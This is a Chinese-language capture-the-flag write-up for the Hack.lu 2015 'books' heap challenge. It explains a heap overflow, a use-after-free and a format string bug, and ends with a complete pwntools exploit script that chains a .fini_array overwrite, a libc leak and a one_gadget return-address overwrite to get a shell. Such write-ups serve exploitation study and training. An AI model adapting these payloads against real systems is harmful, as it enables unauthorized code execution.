前言 :
我是真的懒。。自从六月颓了之后再过一个暑假整个人基本上算是废物状态。。还好最近进度慢慢起步上来了,不然得完蛋了,这道题花了我两天才解出来,感觉自己是真的菜,但是解出来的瞬间真的是巨他妈快乐,而且现在还没有人写过完整且正常的writeup,所以我觉得我是第一人,就巨他妈的开心。
概述 :
15年的一道题,尝试解题无果之后去搜了搜writeup,结果并没有搜到。。只有一篇非正常getshell的文章。。作者打比赛时候靠着本机环境和比赛机一致,靠着设定好system地址getshell。看的我一脸懵,还是靠自己解吧。。肝了一天多终于肝出来了。。本菜🐔还是菜啊。。
这道题虽然看似漏洞很多,但是要利用起来还真是有点困难。
详解 :
checksec:
1 2 3 4 5 6 7
   | ➜  books checksec ./books  [*] '/home/parallels/Desktop/PWN/PwnWiKi/heap/books/books'     Arch:     amd64-64-little     RELRO:    No RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      No PIE (0x400000)
   | 
 
功能 :
该程序是个书店,订书的功能,最多订购两本书,订购每本书的时候可以填写订单内容,这里面可以无限制任意写,然后是删除订单,删除订单中只free掉了指针,没有把指针置为NULL,存在UAF漏洞,且指针的位置处于栈地址上,最后是一个提交功能,提交功能是将两本书的内容合在一起打印出来,但是提交后存在一个格式化字符串的漏洞。
漏洞 :
- 任意写,堆溢出漏洞:
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | unsigned __int64 __fastcall sub_400876(__int64 a1) {   int v1; // eax   int v3; // [rsp+10h] [rbp-10h]   int v4; // [rsp+14h] [rbp-Ch]   unsigned __int64 v5; // [rsp+18h] [rbp-8h]
    v5 = __readfsqword(0x28u);   v3 = 0;   v4 = 0;   while ( v3 != '\n' )      <----------------换行符才结束循环,任意写   {     v3 = fgetc(stdin);     v1 = v4++;     *(_BYTE *)(v1 + a1) = v3;   }   *(_BYTE *)(v4 - 1LL + a1) = 0;   return __readfsqword(0x28u) ^ v5; }
   | 
 
- UAF漏洞:
 
1 2 3 4 5 6 7 8
   | unsigned __int64 __fastcall sub_4008FA(void *a1) {   unsigned __int64 v1; // ST18_8
    v1 = __readfsqword(0x28u);   free(a1);                <-----------------没有将指针置为NULL   return __readfsqword(0x28u) ^ v1; }
   | 
 
- 格式化字符串漏洞
 
1 2 3
   | printf("%s", v5); printf(dest);            <-----------------格式化字符串 return 0LL;
  | 
 
利用 :
那么问题来了,漏洞看起来这么的多,怎么去利用?首先我们得注意三点:
- 使用submit功能的时候程序就结束了,也就是一次性,但是
printf格式化恰好就在程序结束处才产生。 
- 格式化的字符串从系统
malloc的第三块堆内容中获取。 
- 无法自行分配堆,只能从程序本身申请的三块堆和submit功能中申请的堆中去利用。
 
但是我们会遇到一些问题,比如说我们想用溢出控制第三块堆中的内容再利用格式化字符串的时候会遇到填写订单内容后被strcpy函数给重新覆盖掉第三堆块的内容。
这里我们应当使用到Overlapping,先delete第二堆块,再用堆块一溢出堆块二的size字段为0x151,这样当利用submit功能的时候所申请的0x140堆块就能出现在堆块二的位置上,随后便能利用submit合并两个堆块内容的作用覆盖到第三堆块,如果构造好覆盖内容,我们便能在程序最后利用到格式化字符串的内容。
显然,一次利用并不能达到我们getshell的目的,这里用到这么一个知识点 :
1
   | 程序退出后会执行`.fini_array`地址处的函数,不过只能利用一次。
   | 
 
所以我们可以利用第一次格式化字符串将.fini_array地址处的函数修改成main函数的地址,使程序重新回到main函数。当然,我们还需要泄漏libc地址。
先来第一阶段的利用 :
delete掉堆块二:

利用堆块一覆盖重写的这里我们需要注意,我们所构造的payload需要和后面利用的格式化字符串所匹配。
堆块位置如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
   | 0x602000:	0x0000000000000000	0x0000000000000091 <--堆块一头 0x602010:	0x0000000000000000	0x0000000000000000 0x602020:	0x0000000000000000	0x0000000000000000 0x602030:	0x0000000000000000	0x0000000000000000 0x602040:	0x0000000000000000	0x0000000000000000 0x602050:	0x0000000000000000	0x0000000000000000 0x602060:	0x0000000000000000	0x0000000000000000 0x602070:	0x0000000000000000	0x0000000000000000 0x602080:	0x0000000000000000	0x0000000000000000 0x602090:	0x0000000000000000	0x0000000000000091 <--新申请的0x140堆块头 0x6020a0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78  0x6020b0:	0x0000000000000000	0x0000000000000000 0x6020c0:	0x0000000000000000	0x0000000000000000 0x6020d0:	0x0000000000000000	0x0000000000000000 0x6020e0:	0x0000000000000000	0x0000000000000000 0x6020f0:	0x0000000000000000	0x0000000000000000 0x602100:	0x0000000000000000	0x0000000000000000 0x602110:	0x0000000000000000	0x0000000000000000 0x602120:	0x0000000000000090	0x0000000000000090 <--dest堆块头(printf处) 0x602130:	0x0000000000000000	0x0000000000000000 0x602140:	0x0000000000000000	0x0000000000000000 0x602150:	0x0000000000000000	0x0000000000000000 0x602160:	0x0000000000000000	0x0000000000000000 0x602170:	0x0000000000000000	0x0000000000000000 0x602180:	0x0000000000000000	0x0000000000000000 0x602190:	0x0000000000000000	0x0000000000000000 0x6021a0:	0x0000000000000000	0x0000000000000000 0x6021b0:	0x0000000000000000	0x0000000000000411
   | 
 
我们需要让printf堆块处执行格式化的漏洞,就需要让submit功能去帮助我们覆盖,submit功能会加上order1:等这些字符串,不能漏掉,总结后可以得知新申请的堆块内容为:
Order 1: + chunk1 + \n + Order 2: + chunk2 + \n
因为chunk2已经被delete掉了,所以当复制chunk2中的内容的时候复制的其实是order 1: + chunk1。所以上述可以变为:
Order 1: + chunk1 + \n + Order 2: + Order 1: + chunk1 + \n
所以我们可以构造第二次的chunk1内容恰好覆盖到dest堆块处。也就是:
size(Order 1: + chunk1 + \n + Order 2: + Order 1:)  == 0x90
size(chunk1) == 0x90 - 28 == 0x74
所以我们构造chunk1中的内容的时候只要使其中非0字符串的个数达到0x74就行了。
因为输入选项的时候可输入128个数字符串:
所以我们可以提前在栈中构造好我们所需要用格式化字符串修改的任意地址。
输入点在格式化偏移为12处,我们第一轮利用需要修改的是.fini_array处的内容,所以我们在栈中可以这么构造:
1
   | payload2 = '5'+p8(0x0)*7 + p64(fini_array)  <-- 5为选用submit功能
   | 
 
而chunk1中的内容可以这么构造:
1 2 3 4
   | payload = "%"+str(2617)+"c%13$hn"  + '.%31$p' + ',%28$p' payload += 'A'*(0x74-len(payload)) payload += p8(0x0)*(0x88-len(payload)) payload += p64(0x151)
   | 
 
这里的'.%31$p'目的是泄漏__libc_start_main函数的地址,从而leak libc的地址。而这里的',%28$p'目的我后面会说到。
第二阶段的利用 :
这里我们能怎么接下去利用呢?ctf-wiki上的解法是拿到system函数的地址后去覆盖free_got。我试了这解法后才知道这解法还需要再来一轮去触发free函数。。所以这个思路行不通。。wiki上贴的exp好像只执行了第一阶段,第二阶段的利用没有。。
搜索到的唯一一个exp是通过设定system地址佛系getshell的。。所以还是得自己来着手。。我想这题目肯定是有一个常规解的。所以我自己来肝。。
我的思路是通过第二阶段修改主函数返回地址getshell:
返回地址在栈上的位置是随机的,所以我们需要找一个与返回地址有固定偏移的栈地址。我们从栈上去找一找,我发现了这么一个地址:

这个栈地址始终指向比自己低0x10字节的栈地址,而且指向的栈地址和返回地址也有固定的0x28的偏移,所以我选择用格式化字符串泄漏这个栈地址,但是这里还有一个问题:
1
   | 第一阶段利用后重新执行main函数后,栈上的地址会产生一个固定的偏移。
   | 
 
上面所提到的payload中',%28$p'的目的就是泄漏这个栈地址。
我们直接把gdb attach上去计算固定的偏移:

泄漏得到的第一阶段的返回地址:0x7ffd88f7d6f8

gdb中得到的第二阶段的返回地址:0x7ffd88f7d4e8
所以固定偏移为:0x7ffd88f7d6f8 - 0x7ffd88f7d4e8 = 0x210
我们得到了第二阶段的返回地址的栈地址之后就好办事了,重复第一阶段的构造利用即可,这里面为了方便,可以直接利用one_gadget工具中的execve函数地址来覆盖返回地址。这里经过观察可以发现,execve的地址和返回地址只有最后三个字节不同,所以构造格式化漏洞的时候只需要覆盖返回地址最后的三位即可。
可能机子环境不一样这个固定偏移也不一样,我的环境是:
Ubuntu16.04,glibc2.23
结果 :

EXP :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
   | from pwn import *
  p = process('./books') context.log_level = 'debug' elf = ELF('./books') libc = ELF('libc.so')
  def edit1(content) :     sleep(0.1)     p.sendline('1')     p.recvuntil('Enter first order:\n')     p.sendline(content)
  def edit2(content) :     sleep(0.1)     p.sendline('2')     p.recvuntil('Enter second order:\n')     p.sendline(content)
  def delete1() :     sleep(0.1)     p.sendline('3')
  def delete2() :     sleep(0.1)     p.sendline('4')
  def submit() :     sleep(0.1)     p.sendline('5')
  free_got = elf.got['free'] fini_array = 0x6011B8 main_addr = 0x400A39
  delete2()
  payload = "%"+str(2617)+"c%13$hn"  + '.%31$p' + ',%28$p' payload += 'A'*(0x74-len(payload)) payload += p8(0x0)*(0x88-len(payload)) payload += p64(0x151) edit1(payload)
  payload2 = '5'+p8(0x0)*7 + p64(fini_array) p.sendline(payload2)
  #leak --> libc_base p.recvuntil('\x2e') p.recvuntil('\x2e') p.recvuntil('\x2e') data = p.recv(14) p.recvuntil(',') ret_addr = p.recv(14) data = int(data,16) - 240 ret_addr = int(ret_addr,16) + 0x28 - 0x210 libc_base = data - libc.symbols['__libc_start_main'] log.success('ret_addr :'+hex(ret_addr))
  #repeat --> change ret_addr --> system_addr(one_gadget) one_shot = libc_base + 0x45216 print hex(one_shot) one_shot1 = '0x'+str(hex(one_shot))[-2:] one_shot2 = '0x'+str(hex(one_shot))[-6:-2] print one_shot1,one_shot2 one_shot1 = int(one_shot1,16) one_shot2 = int(one_shot2,16)
  delete2()
  payload3 = "%" + str(one_shot1) + "d%13$hhn" payload3 += '%' + str(one_shot2-one_shot1) + 'd%14$hn' payload3 += 'A'*(0x74-len(payload3)) payload3 += p8(0x0)*(0x88-len(payload3)) payload3 += p64(0x151) edit1(payload3)
  payload4 = '5' + p8(0x0)*7 + p64(ret_addr) + p64(ret_addr+1) p.sendline(payload4)
  p.interactive()
   | 
 
相关链接:
Hack.lu 2015 bookstore writeup